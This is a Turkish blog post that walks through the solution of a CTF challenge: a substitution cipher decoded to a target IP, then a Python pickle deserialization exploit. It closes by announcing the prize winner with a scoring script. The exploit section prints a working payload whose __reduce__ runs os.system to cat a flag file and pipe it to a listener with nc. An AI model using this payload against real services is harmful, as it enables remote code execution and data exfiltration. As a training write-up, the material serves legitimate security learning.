MdiseCTF 0x01 – BGA Powerbank Ödüllü CTF Kazananları

Merhaba

Geçtiğimiz cuma günü başlayan ve pazar günü saat 23:59’da son bulan ödüllü CTF serilerimizden ilki olan 0x01‘ib  çözümlerini ele alacağız. Tüm level’larda kullanılan source code’lara https://github.com/mmetince/mdisectf adresinden erişebilirsiniz.Buyrun bu kısa ve eğlenceli CTF’in çözümlerine bakalım.

Çözümler

Yarışma sizlere verilen bir adet cipher-text metin ile başlamaktayı. Bu metni aşağıda ki şekilde tekrar paylaşıyoruz.

FRL-DYELTBI-FDAAGEIM-VY
SEXS-VL-ERL-DYM-LIP-DODVY
LIP-LE-OBL-FDAL-KEOOVYO-VY
PERI-LDIOBL-DMMIBAA-ALDILA-GVLT-BVOTL-UBIE
LIP-TVA-HVIAL-GVHBA-XDVMBY-YDXB
LTVA-VA-XEIB-LTDY-CRAL-D-ODXB
VL-VA-IBDK-HRY-SRL-CRAL-LTB-ADXB
PERI-LDIOBL-DMMIBAA-JEYLVYRB-GVLT-LGE-HERI-UBIE
FRL-ZGBILP-VY-LTBIB
IRY-LTEAB-FDAAGEIMA-ERL-DYM-LTBY
MVDK-SDJW-RF-GB-DIB-KEOOVYO-VY
PERI-LDIOBL-DMMIBAA-JEYLVYRB-GVLT-EYB-HERI-LGE
ME-YEL-BQBY-LIP-LE-HVYM-XB
FKBDAB-ME-YEL-ABYM-UBIE-MDP-BNFKEVL-LE-HRJW-XB
GTE-WYEGA-XDPSB-V-DX-IVOTL-SBTVYM-PER
DYM-EH-JERIAB-PERI-LDIOBL-DMMIBAA-BYMA-GVLT-EYB-LGE-LGE

Bir çok yarışmacı – işaretlerinin boşluk, cipher algoritması olarakta Caesar Cipher ‘ı düşünerek hareket etti. İlk düşünce olan – işaretinin boşlukları ifade ediyor olması doğru bir yaklaşım olsa da, algoritma malesef Caesar Cipher değil, benim hazırladığım basit bir  Mono Alphabetic Substitution Cipher.

Mono Alphabetic Substitution Cipher algoritmalarının iki adet problemi vardır.

  1. Cipher-text ile Plain-text aynı uzunluktadır.
  2. Her karakter sadece ve sadece bir adet başka karaktere ihtiva etmektedir.

Yani demem odur ki, cipher-text üzerinden plain-text’in uzunluğuna ulaşılabilmektedir. Ve ayrıca metnin herhangi bir yerinde A karakteri E ile ifade edildiysen, bu tüm cipher-text için geçerlidir.

Bu iki zafiyeti kullanarak Frekans Analizi gerçekleştirebiliriz. Bunun için de öncelikle plain-text metnin hangi dil olduğuna karar vermeliyiz. Plain-text’i analiz ettiğimizde fark ettiğimiz şu olacaktır ki, herhangi bir Türkçe karakter yoktur. Tüm metin latin alfebesinde ki karakterlerden oluşmaktadır. Bu şu anlama gelir ki, ya plain-text’de aynı cipher-text gibi hiçbir Türkçe karakter içermiyor, ya da plain-text İngilizce’dir.

Online – Offline Mono Alphabetic Subs. DeCipher

Bu kararı verdikten sonra hem online hemde offline kaynakları kullanarak deşifreleme işlemi gerçekleştirilebilirdi. Bu noktada online kaynak olarak http://quipqiup.com , offline kaynak olarak ise SCBSolver yazılımı kullanılabilirdi.

put another password in
bomb it out and try again
try to get past logging in
your target address starts with eight vero
try his first wifes maiden name
this is more than just a game
it is real fun but just the same
your target address continue with two four vero
put qwerty in there
run those passwords out and then
dial back up we are logging in
your target address continue with one four two
do not ezen try to find me
please do not send vero day exploit to fuck me
who knows maybe i am right behind you
and of course your target address ends with one two two

Sizin için yazılmış bu şiirde her 4’lükte ki son satıra baktığınızda aşağıdaki özel dörtlük oluşmaktadır.

your target address starts with eight vero
your target address continue with two four vero
your target address continue with one four two
and of course your target address ends with one two two

Yani, 80.240.142.122 böylece ilk aşama tamamlanmış oldu.

cPickle

Bir önceki adımda elde edilen 80.240.142.122 adresine full port scan gerçekleştirdiğimizde 22 ve 1337 tcp portlarının açık olduğu bilgisine erişilmekteydi.

➜  0x01 git:(master) nc 127.0.0.1 1337
deneme123
Token b64decode failure

ZGVuZW1lMTIz
Python cPickle UnpicklingError

Bu porta nc ile bağlanıp dummy datalar gönderdiğimizde önce base64 hatası, sonrada cPickle UnpicklingError hatası alınmakta. Bu noktada cPickle’ı araştıran arkadaşların https://www.mehmetince.net/python-pickle-ile-remote-code-execution/ adresinde ki unserialization zafiyetini okumaları, öğrenmeleri ve hedef sistemi doğrudan exploit etmeleri beklenmekteydi.

➜  /tmp  cat exploit.py 
import pickle
import os
from base64 import b64encode as encode

class Kullanici(object):
     isim = "Mehmet"
     def __reduce__(self):
          return (os.system, ('cat /var/www/html/flag.txt|nc 127.0.0.1 4444',))
 
serialize = pickle.dumps(Kullanici())
print encode(serialize)

Flag.txt dosyasını okuyup 127.0.0.1’in 4444 portuna gönder diyerek doğrudan flag elde edilebilirdi. Tabiki burada 127.0.0.1 yerine kendi ip adresiniz yazılmalıdır.

➜  /tmp  nc 127.0.0.1 1337
__________________________________________.___ ____ __.____
\__ ___/\_ _____/\______ \______ \ | |/_| | \_ _____/\______ \
| | | __)_ | | _/| _/ | < | | | __)_ | _/
| | | \| | \| | \ | | \| |___ | \| | \
|____| /_______ / |______ /|____|_ /___|____|__ \_______ \/_______ / |____|_ /
Harika bir is basardiniz.
Yarisma burada son bulmustur lutfen cozumunuzu gonderiniz.

Değerlendirme Süreci ve Başvuranlar

Değerlendirme süreci şu şekilde olmakta.

  1. Sadece ve sadece tam/doğru çözümü gönderen kişiler seçilir.
  2. Çözümü ilk gönderen kişi 100 puan, ikinci gönderen kişi 95 puan şeklinde azalan değerler çözüm gönderen yarışmacılara sırasıyla verilir. En son ise 70 sabitlenecektir. Bu değer T ile ifade edilir.
  3. Yazılan raporlara değerlendirme ekibi tarafından 100 üzerinden puan verilir. Bu değer R ile ifade edilir.
  4. T değerinin %25,  R değerlerinin %30’u alınır.
  5. Her katılımcı için 0-20 arasından random seçilen değerin %50’si alınır.
  6. Bu üç değer toplanır ve
  7. En yüksek puanı alan yarışmayı kazanır.

Kazanan Kişi

Algoritmamızı uyarlayan ufak bir python kodu..!

#!/usr/bin/env python
from __future__ import division
from random import randint

Users = [
    {
        'name': 'Ceylan Bozogullarindan',
        'Time': 100,
        'Report': 90,
    },
    {
        'name': 'Ali Agdeniz',
        'Time': 95,
        'Report': 70,
    },
    {
        'name': 'Hasan Emre Ozer',
        'Time': 90,
        'Report': 85,
    },
    {
        'name': 'Robin Daimyanoglu',
        'Time': 85,
        'Report': 100,
    }
]


def chance():
    return randint(0, 20) / 2

for user in Users:
    user['Random'] = chance()
    user['Final'] = (user['Time']*25 + user['Report']*30) / 100 + user['Random']
    print user

seq = [x['Final'] for x in Users]
print "WINNER IS"
print max(Users, key=lambda x:x['Final'])

Bu sonuçlara göre;

{'Report': 90, 'Random': 7.5, 'Final': 59.5, 'name': 'Ceylan Bozogullarindan', 'Time': 100}
{'Report': 70, 'Random': 8.0, 'Final': 52.75, 'name': 'Ali Agdeniz', 'Time': 95}
{'Report': 85, 'Random': 10.0, 'Final': 58.0, 'name': 'Hasan Emre Ozer', 'Time': 90}
{'Report': 100, 'Random': 9.0, 'Final': 60.25, 'name': 'Robin Daimyanoglu', 'Time': 85}
WINNER IS
{'Report': 100, 'Random': 9.0, 'Final': 60.25, 'name': 'Robin Daimyanoglu', 'Time': 85}

Kazanan kişi = Robin Daimyanoglu

Yarışmaya katılan herkese, en çokta yarışma ödülünü veren Ozan Uçar ve BGA ailesine teşekkür ederim. Bu tür ciddi katılım oranlarını görmek daha fazla ve “farklı” türde CTF’leri hazırlamak adına doğru motivasyonu bulmamı sağlamakta.